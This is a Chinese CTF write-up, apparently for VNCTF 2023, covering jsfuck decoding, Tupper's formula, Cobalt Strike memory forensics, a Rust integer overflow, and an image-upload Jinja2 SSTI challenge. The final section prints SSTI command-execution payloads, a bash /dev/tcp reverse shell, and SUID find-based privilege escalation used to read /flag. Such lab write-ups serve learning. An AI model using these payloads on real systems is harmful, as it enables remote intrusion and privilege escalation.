F12查看源码,在play.js里能找到一串jsfuck编码,解码得到flag
给了提示tupper
从网上找了找相关的知识,找了个在线网站https://tuppers-formula.ovh/
按照图片名称顺序整理一下验证码的字符
1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
利用在线网站得到flag
放进edge,查看源码
我修改了一下速度,然后手搓。。
就做了这三道题,还是太菜了,下面学一下内存取证
第一次尝试做内存取证的题目,试试
附件是一个raw文件还有一个poc.py的脚本
从网上查了查什么是raw文件
RAW文件几乎是未经过处理而直接从CCD或CMOS上得到的信息,通过后期处理,摄影师能够最大限度地发挥自己的艺术才华。
打开poc.py
import hashlib
welocome = """
Welcome to VNCTF 2023
Try your best to find the traces left by that man!
Note: Just fill in the information you find in the variables below,
and be careful not to bring extra spaces at the beginning and end.
"""
process_name: str = ""
# name of the doubtable process
port: str = ""
# port of the connection
server_address: str = ""
# address of the remote server,just like a url
publickey: str = ""
# A string of hexadecimal,without "0x",in lowercase
hash_ans: str = hashlib.md5((process_name + port + server_address + publickey).encode()).hexdigest()
print("Your answer is: flag{" + hash_ans + "}")
这里的脚本大体的框架已经给出了,审计了一下
就是缺少process_name、port、server_address、publickey这4个参数
百度翻译一波
就是要我们知道这个raw文件,异常进程的名称,端口,服务器地址,以及公钥
从网上捣鼓好了volatility2、3的配置
用volatility2跑了一下报错了,那就看看volatility3
先看看raw这个文件的信息
再看看pslist,看看进程信息
发现有好几个exe文件,而且大多是重复的。
这个CS我一开始以为是GOGO呢,后来看了hint,觉得CS估计是一个简写,就搜到了Cobalt Strike 信标的内存转储这个东西
参考Cobalt Strike:内存转储 - 第 6 部分
了解到了一个脚本 1768.py,该工具用于提取和分析 Cobalt Strike 信标的配置
python 1768.py -r +附件位置
可以获得port,publickey,server_address
目前就是差一个异常程序名称
百度搜索一下这些windows进程名称是干嘛的
svchost.exe:是微软Windows操作系统中的系统文件,微软官方对它的解释是:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的。许多服务通过注入到该程序中启动,所以会有多个该文件的进程。
conhost.exe:全称是Console Host Process, 即命令行程序的宿主进程。简单的说他是微软出于安全考虑,在windows 7和Windows server 2008中引进的新的控制台应用程序处理机制。不是病毒木马
dllhost.exe:dllhost.exe是运行COM+的组件,即COM代理,运行Windows中的Web和FTP服务器必须有这个东西。
从网上搜索了一下dllhost.exe,有dllhost.exe报错的相关内容,感觉这里的异常进程估计是dllhost.exe
尝试了一下pycharm跑一下跑出来了,试一下flag是否正确,是正确的,所以dllhost.exe就是我们要找的异常进程。
PS:这道题不知道怎么的直接利用1768工具跑出来了,正常来说是应该要利用volatility提取进程内存转储
python vol.py -f D:\CTF附件\attachment\memory.raw -o C:\Users\Evi1s7\Desktop\取证 windows.memmap.Memmap --dump
之后利用1768工具对于提取出的所以进程内存进行分析
考察代码审计以及整数溢出
打开靶机界面,看看源码没有什么东西,下载一下给的附件
大体看了一下,应该是这道题的源码以及一些配置文件
打开main.rs得到源码,也找到了关键的代码部分
#[post("/upgrade")]
async fn upgrade(body: web::Form) -> Json {
if GONGDE.get() < 0 {
return web::Json(APIResult {
success: false,
message: "功德都搞成负数了,佛祖对你很失望",
});
}
if body.quantity <= 0 {
return web::Json(APIResult {
success: false,
message: "佛祖面前都敢作弊,真不怕遭报应啊",
});
}
if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
let mut cost = payload.cost;
if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity;
}
if GONGDE.get() < cost as i32 {
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}
if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}
if payload.name == "Cost" {
return web::Json(APIResult {
success: true,
message: "小扣一手功德",
});
} else if payload.name == "CCCCCost" {
return web::Json(APIResult {
success: true,
message: "功德都快扣没了,怎么睡得着的",
});
} else if payload.name == "Loan" {
return web::Json(APIResult {
success: true,
message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
});
} else if payload.name == "Donate" {
return web::Json(APIResult {
success: true,
message: "好人有好报",
});
} else if payload.name == "Sleep" {
return web::Json(APIResult {
success: true,
message: "这是什么?床,睡一下",
});
}
}
看到了i32,就大体知道这道题的思路了,利用整数溢出,之后POST传参一下就能出flag,cost是i32,这个就牵扯到了Rust了
可以看看这篇佬的文章Rust 语言圣经 - Rust语言圣经(Rust Course)
这里也介绍了数字范围
所以对于i32,数字范围值为-2147483648~2147483647
所以根据之前做过的整数溢出的题目,只要小于最大值2147483647就可以
这道题涉及确实到盲区了,都不知道什么是suid
先利用一个脚本生成一张图片
from PIL import Image
#MAX = 25
# 二维码大小
pic = Image.new("RGB", (320, 1))
str = "0"*320
i = 0
for y in range(0, 1):
for x in range(0, 320):
if (str[i] == '1'):
pic.putpixel([x, y], (0, 0, 0))
else:
pic.putpixel([x, y], (255, 255, 255))
i = i+1
pic.save("1.png")
再利用LSB加密的脚本将需要隐藏的ssti.txt加密到图片中
SSTI.txt:{{7*7}}
# -*- coding: utf-8 -*-
"""
Created on Sun May 19 11:20:05 2019
@author: Administrator
"""
from PIL import Image
def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)
def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string+""+plus(bin(s[i]).replace('0b', ''))
# print(string)
return string
def mod(x, y):
return x % y
# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径
def func(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:"+str(width))
print("height:"+str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a-mod(a, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b-mod(b, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c-mod(c, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)
def main():
# 原图
old = "1.png"
# 处理后输出的图片路径
new = "1_encode.png"
# 需要隐藏的信息
enc = "ssti.txt"
func(old, enc, new)
if __name__ == '__main__':
main()
之后文件上传,得到47,之后再上传一张进一步判断是什么类型的SSTI
{{7*'7'}},回显7777777,所以也就知道是jinja2的模板
试一下之前做题整理的命令
{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
说明可以这样进行命令执行,再看一下根目录,成功找到flag,cat一下
发现不行,这就要根据题目给的hint,suid了,从网上搜了搜就是获得特殊权限,有更高的权限才可以进行cat flag
到这里就是我知识盲区了,看一下别的佬的wp学习一下
首先是反弹shell
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"').read()}}
写入图片后进行上传(第一次利用vps做题)
先nc一下端口(我这里是放行了3333端口)
先ls看一下有什么东西
看一下根目录
找到了我们的flag,先尝试直接cat /flag,发现不允许
根据提示suid提权
find / -perm -u=s -type f 2>/dev/null
直接提权
find `which find` -exec whoami \;
之后用find的权限直接cat flag
find `which find` -exec cat /flag \;